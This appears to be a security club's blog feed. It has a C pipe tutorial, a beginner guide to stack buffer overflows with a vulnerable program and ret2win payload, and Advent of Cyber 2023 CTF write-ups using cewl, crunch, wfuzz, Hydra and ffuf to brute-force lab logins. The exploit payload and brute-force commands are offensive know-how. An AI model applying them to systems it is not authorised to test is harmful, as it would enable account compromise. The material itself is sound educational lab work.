<p>As an exercise, we’ll dive into <strong>systems programming</strong> and implement a simple "pipe" in C, just like how Unix-based systems handle it. Think of a <strong>pipe</strong> as a way for two programs to communicate, with one sending data and the other receiving it—kind of like passing a note!</p>
<h3 id="heading-introduction-to-pipes-in-systems-programming"><strong>Introduction to Pipes in Systems Programming</strong></h3>
<p>In Linux, pipes allow us to send the output of one process directly as input to another. This is essential for creating powerful command-line operations, similar to how you might use the | operator in a terminal.</p>
<h3 id="heading-why-pipes"><strong>Why Pipes?</strong></h3>
<p>Pipes are a core part of Unix systems. They allow us to take the output of one command and use it as input for another.</p>
<p><strong><em>This assumes that you have a Linux based OS installed.</em></strong></p>
<p><strong>Step 1:</strong>  Open your terminal with <code>ctrl + alt + T</code></p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfBmNsjhLPictaPrSXPsNhXpHXbxCPUjq-XHps9uvMkWbeb-MJKa08-Sf78X8WBWySXaXK75qvSX-7dMuROv5axixmVodMY_7RJXONnY4aIICe9zmSILckdwfXcWrcSnFBj_tMcmRlKkQ-srXYULHmYcWQI?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>Execute <code>$ mkdir pipe-implementation</code></p>
<p>This makes a folder called pipe-implementation where we will write our source code</p>
<p><strong>Step 2:</strong> Run <code>$ cd pipe-implementation</code> to switch your working directory</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeo57UCk8mqqsVytFspSPtNMU-Mv_IAbphT1k4J8l44kBkxASv4ZsI7_Y1ngFnvStrG4DNm9yS4qy5iF6pcr4FkndM5BVosMysH9dqJ84eT0X6Na5ENmQWG3LLoEDEt5lHhJ-gkecFDyeEhWIIV4wIMZUeH?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>Open a text editor in this directory, I’ll be using NeoVim but you can use anyone of your choice.</p>
<p>Step 3: Import all the required libraries as shown</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfdySSNoAFTpzwE7pElu2Ie1EMCaC4g7VIbZTbw7evw6CUg07WcBdeCL3ZvPE4UVY-3xAdtnOnPlTd_wfWx2oGWwr9FCV18_CYsuTFvSPzHeLt1zLtGEihxYiBRLiUXffP9nroxHo0p7q5IYtl4Yb8bg0kv?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>Stdio.h will be used to deal with Standard Input/Output operations</p>
<p>Stdlib.h will be used for process control here</p>
<p>Unistd.h will be used to access System calls such as pipe, fork, close etc</p>
<p><strong>Step 4:</strong> In the main function write code like this, make sure to include the comment to get a nice greeting from our code later</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdbQHbjvvXSE8CNnGSsyCGaxAt8JkhfSJPUTY8tjq1J8iVX5-gJZVT9cTXSqbD_6df9Z9IZc_OjeMyl6MzHex1o5QNKeruor-5VzbuYWoR0OmzefCfQ5hpFbF8JThZcesHw73zPRXw5ef-YW883Lp5VLIDQ?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>We will now define the pipeline function</p>
<p><strong>Step 5:</strong></p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcBQ68iYJRvKnjRbsSqOofjcCcgGxdqGS2WzqvQLR59SkvzN387WHMnoXrB8wWIn8AXuJUncpj5BJwe9gSWwSbv9QuKsPKagVFDRmPZAJT345vPIegps2M1Wl5zXHBoANVOnwOPn_qFFq3BQgFWOhaRMoQ?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>We define a <code>pipeline</code> function that takes two strings as input. Inside this function, we create an array called <code>fd</code> with size 2 to represent the read and write ends of a pipe. When we call <code>pipe(fd)</code>, it returns -1 if there’s an error and 0 if it succeeds. If there’s an error, our code will exit the process.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcuvFHEl6On4AtDAAc8qexdAlOgrCS7KQfDUzaI6E_SsLHKyfOBRYnnwnqy12SYIUvokF2lK0y31eSI2j9mGYiL6iWEuGUust-g4JxY-5NONq4T5i-EfISLj2MMo-AdzQlpf-KhvDyxBAcZG9wFRwvT0QmA?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>The <code>fork()</code> function creates a new process: the parent and the child. In the parent process, it returns a non-zero value, while the child gets a return value of 0.</p>
<p>Using this separation, we can run two commands at once. In the parent process, we close the reading end of a pipe because we want to write the contents of main.c to the writing end of the pipe. Then, we redirect the standard output (STDOUT) to the pipe, so instead of printing to the terminal, the output from main.c goes into the pipe for the child process to read.</p>
<p>Then we execute the <code>cat</code> command by <code>execlp()</code>. You need not understand everything as a beginner. This is just an exercise to introduce you to Systems Programming.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdZ6mdlc89JzOCsAWm81hIWNQA_TVclj0WeNz4TEdaYX3LR0_ihY9FbbSUdoYxCSdBQC_YjtXCy3TkL_iJTCEu1_jTF33sD76aCawIsx2GL79jEjbjVj5F3ceGNwYw5Q7m6lgmHGWjpQ15pwkcWiLJOor1f?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>When <code>fork()</code> returns 0, it means we're in the child process (running <code>grep Welcome</code>). In the child, we close the writing end of the pipe since we don’t need to write anything. We keep the reading end open so the <code>grep</code> command can read the data that the parent process wrote. Next, we redirect standard input (STDIN) to the reading end of the pipe, allowing the child to read only the data from the pipe, which was provided by the parent.</p>
<p>Then we execute the grep command by <code>execlp()</code>.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXehzMCmx-EPbt13O0NiY9XolBA2HYAayGQtKiG44v-EmerrMPKAnc_bzz-5BQuxOSTPvP3U70gB3GlYfrHo-hDnQ0-m4As5AsLKCg21KBAznSxk40tkuUfn0nnY4s3b7-j4wi0ldnCbqWVHMyin26QuU1M?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdCfc8Vd8tVm8QRSrc08HQiGgfas1qbTebwrGElZXAoIHZT2_G4cQaqMv7Qa51p2VLncSBRkgFxrTRC69cE-sBLfPmYIDAKBB4W6yHJ-BVjP0zHXHjLSj2VA4IaQCw_tgWlOW28PDzLBsfhbf4zpTzHhp7E?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>Your final code should look like this.</p>
<p><strong>Step 6:</strong> Save the file and come back to the terminal in the pipe-implementation folder that we created earlier.</p>
<p><code>$ cat main.c</code> - responsible for printing the contents of the file in the terminal</p>
<p><code>$ grep Welcome</code> - responsible for searching for Welcome in the file</p>
<p>Execute the command <code>$ cat main.c | grep Welcome</code></p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcHGfzP4NdOmZO7WBjYDmeJTT66CiG3wcVVnHeApzDsH3kBdnOtKGnyI33u6degC5tZcFb36RaZVdEfYzWLfV2azabfRGDoHqtXOteHIeOiWIV7pXVDqEzdA7P9WO_oRTD9_xGrvR-PxmlcZpDhBFK057k?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>This command is supposed to print all the lines in main.c where “Welcome” is present. This is the command that we are trying to simulate through our C file</p>
<p><strong>Step 7:</strong> Compile the code by: <code>$ gcc main.c -o pipe</code></p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfLwTnG3Zmx2wF27VamfOYZyX6PfBTg4HUCF414Kc2Lmvcc4FQQJKxHQ2qz6EKf12rJlZ0K4XQRRwdCsgkDqUTh6HqZKyGtEwBKcAoYliECOW2FTh-PFnGeb1AXbn5KBGbF8adru-41fJm7TP3coyRt_gw?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p><strong>Step 8:</strong> Execute the code by <code>$ ./pipe</code></p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXc4jHzWJBumKBI4pBNQpGrxiEIF3yakyVVLBmAYaW9HcrG06tye4BY5UhGkpXI1zRJv8ZfSmHEnT_rXUZpH0ZiYgPEmnSIUU93QL3L9VaZlJLqgbdHkv9l-e0vrOa0pflcbG97awJQD_hSz1c-Zsk0iv5Gp?key=5iBIvaiCgWXpu7ZKFPvNKg" alt /></p>
<p>As You can see, the command that we tried earlier has been simulated!</p>
<p>You can find the source code for this in:</p>
<p><a target="_blank" href="https://github.com/aayush0325/pipe-implementation%EF%BF%BC%EF%BF%BCThis">https://github.com/aayush0325/pipe-implementation</a></p>
<p>This exercise is just a glimpse into the vast and exciting world of systems programming. While this simple implementation of a pipe introduces basic concepts such as inter-process communication, process creation, and command execution, there is much more to explore.</p>
<p>Systems programming forms the backbone of modern computing. From writing kernel modules, managing memory, and building device drivers to optimizing performance and handling low-level networking, the field offers a wealth of opportunities to work closely with hardware, operating systems, and critical software components.</p>
<p>As an exercise you can try replicating a pipe with some other commands with the help of Google and flex in the COPS community group!!</p>
]]></content:encoded></item><item><title><![CDATA[Understanding Buffer Overflows: A Beginner's Guide - Part 1]]></title><description><![CDATA[This article is a 2 part series and this is the first article. In this article, we’ll discuss basic prerequisites to understand buffer overflows.
Any program we run, runs in specified block(s) of memory. This memory is called the address space of the...]]></description><link>https://blogs.copsiitbhu.co.in/understanding-buffer-overflows-a-beginners-guide-part-1</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/understanding-buffer-overflows-a-beginners-guide-part-1</guid><category><![CDATA[Security]]></category><category><![CDATA[C]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Buffer Overfow]]></category><dc:creator><![CDATA[UjjawalK]]></dc:creator><pubDate>Mon, 23 Sep 2024 16:45:34 GMT</pubDate><content:encoded><![CDATA[<p>This article is a 2 part series and this is the first article. In this article, we’ll discuss basic prerequisites to understand buffer overflows.</p>
<p>Any program we run, runs in specified block(s) of memory. This memory is called the address space of the program.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727094253970/cc3383a1-f694-47ba-a15e-fc154d5a8d46.jpeg" alt class="image--center mx-auto" /></p>
<p>As the image above shows, this memory is divided into various segments. For the purpose of this series, we only need to focus on the Stack Segment.</p>
<h3 id="heading-stack">Stack</h3>
<p>Stack is the region in memory which programs use for function calls, passing function arguments to other functions, saving previous stack frame’s registers, local variables and storing return pointer and values.</p>
<p>Stack works in the same way as the stack data structure with two possible operations - push and pop. The stack pointer(esp) points to the top of the stack with additional functionalities.</p>
<p>The stack grows and shrinks dynamically as the program runs. Each time a function is called, a new stack frame is pushed onto the stack, and when a function returns, its corresponding stack frame is popped off. For the uninitialized, a stack frame is nothing but an isolated part of the stack reserved for use by the function it was created for. The base and top of this stack is marked by Base Pointer(ebp) and Stack Pointer(esp) Respectively.</p>
<p>In most computer systems, the stack grows downward in memory i.e the stack grows from high value addresses towards low values addresses.</p>
<p><img src="https://zhu45.org/images/stack-frame-structure.png" alt="stack frame structure" class="image--center mx-auto" /></p>
<h3 id="heading-registers">Registers</h3>
<p>Registers are small, fast storage locations within a computer's central processing unit (CPU) that hold data temporarily during computation. They are essential for the CPU's operations, as they store values that the processor can access quickly, without needing to fetch them from the memory (RAM).</p>
<p>We will be discussing x86 architecture registers here but the basic functionality for different architectures remain the same. In the <strong>x86</strong> architecture, registers are typically 32 bits wide, meaning they can hold 32 bits of data at once.</p>
<p>The architecture is nothing but a name for grouping all CPUs that follow the same instruction sets. You might have heard, that your computer is of 64 bit architecture or 32 bit architecture (x86).</p>
<p><strong>Important x86 Registers:</strong></p>
<ol>
<li><p><strong>General-Purpose Registers (GPRs)</strong>: These are the core registers used for various data operations. In x86, the common general-purpose registers are:</p>
<ul>
<li><p><strong>EAX</strong> (Accumulator): Used for arithmetic and logic operations.</p>
</li>
<li><p><strong>EBX</strong> (Base): Often used as a pointer to data in memory.</p>
</li>
<li><p><strong>ECX</strong> (Counter): Primarily used for counting iterations in loops.</p>
</li>
<li><p><strong>EDX</strong> (Data): Used for I/O operations and extended precision arithmetic.</p>
</li>
</ul>
</li>
<li><p><strong>Instruction Pointer (EIP)</strong>: This 32-bit register holds the address of the next instruction to be executed.</p>
</li>
<li><p><strong>Stack Pointer (ESP)</strong>: Keeps track of the top of the stack, used during function calls and local variable storage.</p>
</li>
</ol>
<p>These registers control the execution of programs along with performing different logical operations.</p>
<p>If you are from a programming background, you can think of registers as variables that the CPU uses for storing values and subsequently using them for computation.</p>
<h3 id="heading-calling-convention">Calling Convention</h3>
<p>Now that we know the structures that are used in the memory, lets see how this memory works when we call a function. This procedure is called Calling Convention.</p>
<p>In reality, many calling conventions are possible. We will look at the one which the C Programming Language uses.</p>
<p>As we are discussing x86 architecture, the memory is divided into regions of 32 bits i.e. 4 bytes. Now lets see what happens when we call a function in our code.</p>
<p><img src="https://www.cs.virginia.edu/~evans/cs216/guides/stack-convention.png" alt /></p>
<p>First the parameters of the function are pushed on the stack in reverse order. Then the instruction <em>after</em> the instruction that calls the function is pushed. This is essentially the return address of the function. When the function will end, program execution will continue from this address. This part is called the Caller Convention as this is done by the function that calls the new function (for which are building a stack frame).</p>
<p>Now, we enter the code of the new function. First, the base pointer is pushed onto the stack. This is done because after the function ends, we want to setup the stack frame for the original function properly again. Then the base pointer is moved to the stack pointer and stack pointer is moved to make space for the variables. The stack pointer and base pointer now constitute the stack frame of the new function. This whole procedure is called the Callee Convention as its done inside the new function.</p>
<p>As you might see, the stack is just a bunch of values on top of each other. The stack by itself doesn’t know which value is the saved base pointer or the return value. That all is just a part of the convention and that’s where the problem starts.</p>
<p>What if the stack pointer that was moved to create space for the variables allocates less space than required? The variables would grow on to overwrite the values of the saved base pointer, return address, parameters etc! This is what attackers use to exploit a vulnerability named Buffer Overflows.</p>
<h3 id="heading-buffer-overflows">Buffer Overflows</h3>
<p>Buffer overflow is a vulnerability of stack in which an attacker could overwrite different parts of the stack to control the execution flow of the program. This happens due to unsanitized user inputs by using vulnerable function like gets and fgets without proper input size. These functions allows an user to write more bytes in the stack than the buffer size. This allows the malicious user to change values like local variables, return pointer, global values and many more.</p>
<p>As I told earlier, the stack doesn’t know which value is where. It is assumed that the user would put an expected input that would follow our rules. Vulnerable functions like gets do not use any check on the length of the input string. Thus the user can overwrite the return address value and change the flow of the execution to his will!<br />This simple vulnerability is named ret2win.</p>
<p>Here a sample code:</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-comment">// Use the following command for compiling this code</span>
<span class="hljs-comment">// gcc -m32 -no-pie -fno-stack-protector -o vuln vuln.c</span>

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">win</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"How did you reach here!"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">vuln</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">char</span> buffer[<span class="hljs-number">16</span>];
    gets(buffer);
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"What are you doing here!"</span>);

    vuln();
}
</code></pre>
<p>What do you think? Is there a way to somehow execute the win function?<br />According to the current program logic NO, but if we try to look closely we can use the above discussed vulnerability here.</p>
<p>If you enter the given payload using python into the program you’ll be amazed to see “How did you reach here!“ printed on the screen!</p>
<p><code>python2 -c 'print "a" * 28 + "\x86\x91\x04\x08"' | ./vuln</code></p>
<p>Now its your task to use the knowledge gained to explain why this is correct. You may also need to search a bit on the internet but that’s the fun part!</p>
<p>The fastest correct responder would receive a shout out in the COPS Community 🔥</p>
<p>Form to answer - <a target="_blank" href="https://forms.gle/wxd3YgRYPeAuLY1G6">https://forms.gle/wxd3YgRYPeAuLY1G6</a></p>
<p>We’ll be back with the second part of the blog explaining the answer and how to craft such exploits for any given code! Till then keep learning!</p>
]]></content:encoded></item><item><title><![CDATA[Advent Of Cyber 2023 Day-4]]></title><description><![CDATA[First, I started the machine of the task of day 4.

Then in order to use AntarctiCrafts homepage to generate a wordlist that could potentially hold the key to the portal, I used this command:
 cewl -d 2 -m 5 -w passwords.txt  http://MACHINE_IP  --wit...]]></description><link>https://blogs.copsiitbhu.co.in/advent-of-cyber-2023-day-4</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/advent-of-cyber-2023-day-4</guid><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Jahnavi Khosla]]></dc:creator><pubDate>Sat, 09 Dec 2023 07:08:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1702105659108/16b601e2-9728-4dbb-804c-25fd2f1a3814.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<ol>
<li><p>First, I started the machine of the task of day 4.</p>
</li>
<li><p>Then in order to use AntarctiCrafts homepage to generate a wordlist that could potentially hold the key to the portal, I used this command:</p>
<p> <mark>cewl -d 2 -m 5 -w passwords.txt </mark> <a target="_blank" href="http://MACHINE_IP"><mark>http://MACHINE_IP</mark></a> <mark> --with-numbers</mark></p>
</li>
</ol>
<p><img src="https://lh7-us.googleusercontent.com/wBcy3ozajJpUJaeLt6_6Vvgfu3x-iF-_TvG4xx3-aG9M_Q1LcAIXq5NKYdqqFhj3pq7Rj6XD_2OC48EJvA_QUfC5kpxZdGM2HGJRs3PCD7j1nPOgZVyVCdUs_-TwmfSOeSj4OeyIhWa9rkOk5oygVQ" alt /></p>
<ol>
<li><p>Then to narrow down the search as the page of teams might contain the desired information, I used this command:</p>
<p> <mark>cewl -d 0 -m 5 -w usernames.txt </mark> <a target="_blank" href="http://MACHINE_IP/team.php"><mark>http://MACHINE_IP/team.php</mark></a> <mark> --lowercase</mark></p>
</li>
<li><p>Then to check the size of the files, I used <mark>ls -al</mark> command.</p>
</li>
</ol>
<p><img src="https://lh7-us.googleusercontent.com/Rpu0BhhQlqU-AedpzaMow6lC2qWskhzKUoL6THUcCBWCOdLMb6r1b_kHdXG-CcK7yTS8sp4k1lKIeWeonESEdMfH_ZfeqSO-6C0b83fV-cfF_UWRDeVAY0ZUitDnL4RLZg9XjB_s_S8sVf_YKe7zag" alt /></p>
<ol>
<li>Next, I used the command <mark>head passwords.txt</mark> to see the top part of the password list.</li>
</ol>
<p><img src="https://lh7-us.googleusercontent.com/DmQzPCBlCg7qcHD7KrKcZZzkjO6SaQgGE1t-j-tZoASlaBEftdlyJR2CbWA5g1u4q5xrXFQyhAoHamvmeIkoTPcvHE0TvLqPGy7_pMlFmP8_Fd8zsbT65CpzBZ59ZphcXzjZRi6Da57oEmXiB6ftJA" alt /></p>
<ol>
<li>Then I used the given address to open the login page where it was requiring credentials.</li>
</ol>
<p><img src="https://lh7-us.googleusercontent.com/V87V_Oe88rOYvbHdbZkHArApjwRoEjkmAFiZ0M5sytLRXd9bogFhpFiAt0tWfKLPRKB9yvd5AiHXgSgjg3WClY648JuC5vT5lIBEb1L01s3dMpSE37Vp9czW9vj5iyMjMNQ928-ZlkiTBN1tM6A7tg" alt /></p>
<ol>
<li><p>Since Wfuzz is a tool designed for brute-forcing web applications, I used this command:</p>
<p> <mark>wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs "Please enter the correct credentials" -u </mark> <a target="_blank" href="http://MACHINE_IP/login.php"><mark>http://MACHINE_IP/login.php</mark></a> <mark> -d "username=FUZZ&amp;password=FUZ2Z"</mark></p>
</li>
</ol>
<p><img src="https://lh7-us.googleusercontent.com/rvINTjXGxdrim35j9ClVpEYb1Wf3lItpYIHeO4NM-NcT8bzcCjtlgKsrldd9NZdG6noYNo5hN7VSrlZL-emoNbStJZrUU5eGtnG4R6a7nFtVfb1eB1RYMNJXYS4Yuzl0W_CcmZSwisv27HNkLgxmWg" alt /></p>
<p>Using this command led to finding the username and password</p>
<p>Which were:</p>
<p><mark>Username: isaias</mark></p>
<p><mark>Password: Happiness</mark></p>
<ol>
<li>I used these credentials to log into that page and obtained the flag.</li>
</ol>
<p><img src="https://lh7-us.googleusercontent.com/vX8h3HqZXBEYUUmk0nra7_aqApnOIqaGNa0oveJkHU34uU4MiZb0Q-nafRvpVnNGMPvmiTaaS8L4uYJfbJttaQ05gqVkxeuEm4X76e9vPUKsI1ym22JTX0Ih_geiz5-AICsM5AD46I5Gjub_KKa4xg" alt /></p>
<p>Finally, I found the flag!</p>
<p><mark>Flag: THM{m3rrY4nt4rct1crAft$}</mark></p>
]]></content:encoded></item><item><title><![CDATA[Advent of Cyber  2023 Day-3]]></title><description><![CDATA[Day 3 delves into cybersecurity aspects, focusing on password complexity and the vulnerabilities associated with weak passwords. The tasks involve practical demonstrations using tools like Crunch and Hydra to showcase the feasibility of brute force a...]]></description><link>https://blogs.copsiitbhu.co.in/advent-of-cyber-2023-day-3</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/advent-of-cyber-2023-day-3</guid><category><![CDATA[bruteforcing]]></category><category><![CDATA[AdventOfCyber2023]]></category><dc:creator><![CDATA[Shashank Mittal]]></dc:creator><pubDate>Sat, 09 Dec 2023 07:03:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1702095426008/02f39c1d-166a-41aa-b410-3e560b5d731d.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Day 3 delves into cybersecurity aspects, focusing on password complexity and the vulnerabilities associated with weak passwords. The tasks involve practical demonstrations using tools like Crunch and Hydra to showcase the feasibility of brute force attacks.</p>
<p>To tackle the challenge, an AttackBox and Target Machine are utilized, emphasizing hands-on experience. The day's activities culminate in gaining unauthorized access to a PIN code-protected system, showcasing the practical implications of cybersecurity concepts.</p>
<h2 id="heading-generating-the-password-list"><strong>Generating the Password List</strong></h2>
<p>Crunch is a versatile password generation tool used to create custom password lists based on specified criteria, aiding in cybersecurity tasks such as brute force testing.</p>
<pre><code class="lang-bash">crunch 3 3 0123456789ABCDEF -o 3digits.txt
</code></pre>
<blockquote>
<p>This command generates a list of all possible three-digit PIN codes using the hexadecimal character set (0-9, A-F) and saves the output to a file named "3digits.txt."</p>
</blockquote>
<h2 id="heading-breaking-our-way-in">Breaking our way in</h2>
<h3 id="heading-interception-and-analysis-of-pin-code-entry-request-with-burp-suite">Interception and Analysis of PIN Code Entry Request with Burp Suite:</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1702096715442/5aa9a6b8-63d8-4054-9b6d-0585f0127228.png" alt class="image--center mx-auto" /></p>
<p>In other words, the main login page <a target="_blank" href="http://MACHINE_IP:8000/pin.php">http://MACHINE_IP:8000/pin.php</a> receives the input from the user and sends it to <code>/login.php</code> using the name <code>pin</code>.</p>
<blockquote>
<p>These three pieces of information, <code>post</code>, <code>/login.php</code>, and <code>pin</code>, are necessary to set the arguments for Hydra.</p>
</blockquote>
<h3 id="heading-method-1-brute-forcing-with-hydra">Method - 1 Brute Forcing with Hydra:</h3>
<p>Next, Hydra is introduced for automated password testing. The HTML source code of the target page is analyzed to determine the form parameters. The Hydra command then tests each PIN code from the generated list.</p>
<pre><code class="lang-bash">hydra -l <span class="hljs-string">''</span> -P 3digits.txt -f -v MACHINE_IP http-post-form <span class="hljs-string">"/login.php:pin=^PASS^:Access denied"</span> -s 8000
</code></pre>
<blockquote>
<p>This command uses Hydra to perform a brute force attack on a login form at MACHINE_IP, testing each PIN code from the "3digits.txt" file.</p>
</blockquote>
<p>The output confirms the successful discovery of a valid password for accessing the system.</p>
<h3 id="heading-method-2-using-ffuf">Method - 2 Using FFUF:</h3>
<p>To provide an alternative approach, we can use FFUF (Fuzz Faster U Fool), a fast web fuzzer written in Go. FFUF is versatile and can be employed for various types of fuzzing, including brute forcing.</p>
<pre><code class="lang-bash">ffuf -c -w 3digits.txt -X POST -d <span class="hljs-string">"pin=FUZZ"</span> -H <span class="hljs-string">"Content-Type: application/x-www-form-urlencoded"</span> -u http://MACHINE_IP:8000/login.php -mr <span class="hljs-string">"Access denied"</span>
</code></pre>
<p>This FFUF command conducts a brute force attack, replacing the placeholder "FUZZ" with PIN codes from the "3digits.txt" file in a POST request to the login form at MACHINE_IP, with subsequent output indicating the discovery of a valid password based on the specified "Access denied" response.</p>
<blockquote>
<p>Alternatively, we can create a request.txt file for FFUF, use Burp Suite to intercept and save the target request, then execute FFUF with the <code>-u</code> option, specifying the request file path.</p>
</blockquote>
<p>In summary, Brute Force Attacks leverage computational power to crack passwords, underscoring the need for strong security measures. Emphasizing vulnerabilities, this method highlights the ongoing necessity for robust security protocols, serving as a crucial reminder for organizations to fortify defenses against evolving threats.</p>
<p>Additionally, you can check out their <a target="_blank" href="https://tryhackme.com/why-subscribe"><strong>Password Attacks</strong></a> Room.</p>
<p><strong><em>That's all, folks!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[Advent of Cyber 2023 Day-5]]></title><description><![CDATA[The backup tapes have finally been recovered after the team successfully hacked the server room door. However, as fate would have it, the internal tool for recovering the backups can't seem to read them. While poring through the tool's documentation,...]]></description><link>https://blogs.copsiitbhu.co.in/advent-of-cyber-2023-day-5</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/advent-of-cyber-2023-day-5</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[advent of cyber]]></category><category><![CDATA[2023]]></category><category><![CDATA[AdventOfCyber2023]]></category><dc:creator><![CDATA[JustAnAverageGuy]]></dc:creator><pubDate>Fri, 08 Dec 2023 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1702103894952/36e6b967-22ad-447d-bbc9-32ec36cb010e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>The backup tapes have finally been recovered after the team successfully hacked the server room door. However, as fate would have it, the internal tool for recovering the backups can't seem to read them. While poring through the tool's documentation, you discover that an old version of this tool can troubleshoot problems with the backup. But the problem is, that version only runs on DOS (Disk Operating System)!</p>
<p>Thankfully, tucked away in the back of the IT room, covered in cobwebs, sits an old yellowing computer complete with a CRT monitor and a keyboard. With a jab of the power button, the machine beeps to life, and you are greeted with the DOS prompt.</p>
<p>Frost-eau, who is with you in the room, hears the beep and heads straight over to the machine. The snowman positions himself in front of it giddily. <em>"I haven't used these things in a looong time,"</em> he says, grinning.</p>
<p>He hovers his hands on the keyboard, ready to type, but hesitates. He lifts his newly installed mechanical arm, looks at the fat and stubby metallic fingers, and sighs.</p>
<p><em>"You take the helm,"</em> he says, looking at you, smiling but looking embarrassed. <em>"I'll guide you."</em></p>
<p>You insert a copy of the backup tapes into the machine and start exploring.</p>
</blockquote>
<p>Day 5 of AoC works with MS-DOS and also teaches some stuff about <em>magic bytes</em> and reverse engineering.</p>
<hr />
<p>First of all, start the provided VM. After boot up, you will have a split-screen view of a Windows 10 machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1702105112515/df531fbb-abd6-4d44-a0f9-c82a939c611f.png" alt /></p>
<p>Launch the <code>DOSBox-X</code> executable to proceed.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1702106009961/38df9454-667e-433c-9c76-2e9e75f5fcb3.png" alt class="image--center mx-auto" /></p>
<p>After launching, we are greeted with a welcome screen.</p>
<p>Run the <code>cls</code> command to clear the screen. After running the <code>dir</code> command, we see</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1702106160041/96f3764c-5612-4e45-848d-8c99b79351a7.png" alt class="image--center mx-auto" /></p>
<p>In particular, we see the <code>AC2023.BAK</code> file and also the answer to our first task, the size of the file in bytes: <code>12,704.</code></p>
<p>Now we are told about the software to recover the corrupt backup, so navigate to <code>C:\TOOLS\BACKUP\</code> folder using <code>cd</code> command and run the <code>dir</code> command.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1702106556997/55139fe8-5db1-433e-9592-410ebc46c588.png" alt class="image--center mx-auto" /></p>
<p>We see the executable and a README file. Doing <code>type README.txt</code> won't do us much good as the file is long and all the text won't fit on the screen. Hence do <code>edit README.txt</code> to see the "head" of the file, which gives us the answer to our second task <code>BackupMaster3000</code> !</p>
<p>Also on reading the rest of the file, we get to know that the first two bytes of the backup should by <code>41 43</code>. The bytes with ASCII values 41 and 43 are <code>A</code> and <code>C</code> respectively. So to recover the backup, we can try to fix the magic bytes.</p>
<p>Open the backup file (<code>C:\AC2023.BAK</code>) by doing <code>[Alt] f o</code> and then navigating to it. Also, check the "open binary" option. Alternatively, close the editor and then open the file from the shell.</p>
<p>Now simply do <code>[insert] A C</code> to overwrite the first two bytes with "AC". Then exit the editor with saving by doing <code>[Alt] f x y</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1702107495605/eecc715e-255f-4d05-a3fd-ad57ce1dded8.png" alt class="image--center mx-auto" /></p>
<p>Now on running <code>BUMASTER.EXE C:\AC2023.BAK</code>, we are greeted with the answer to the third task, our flag <code>THM{0LD_5CH00L_C00L_d00D}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1702107785104/5decf00e-1741-41bb-8810-d288d9bf5cca.png" alt class="image--center mx-auto" /></p>
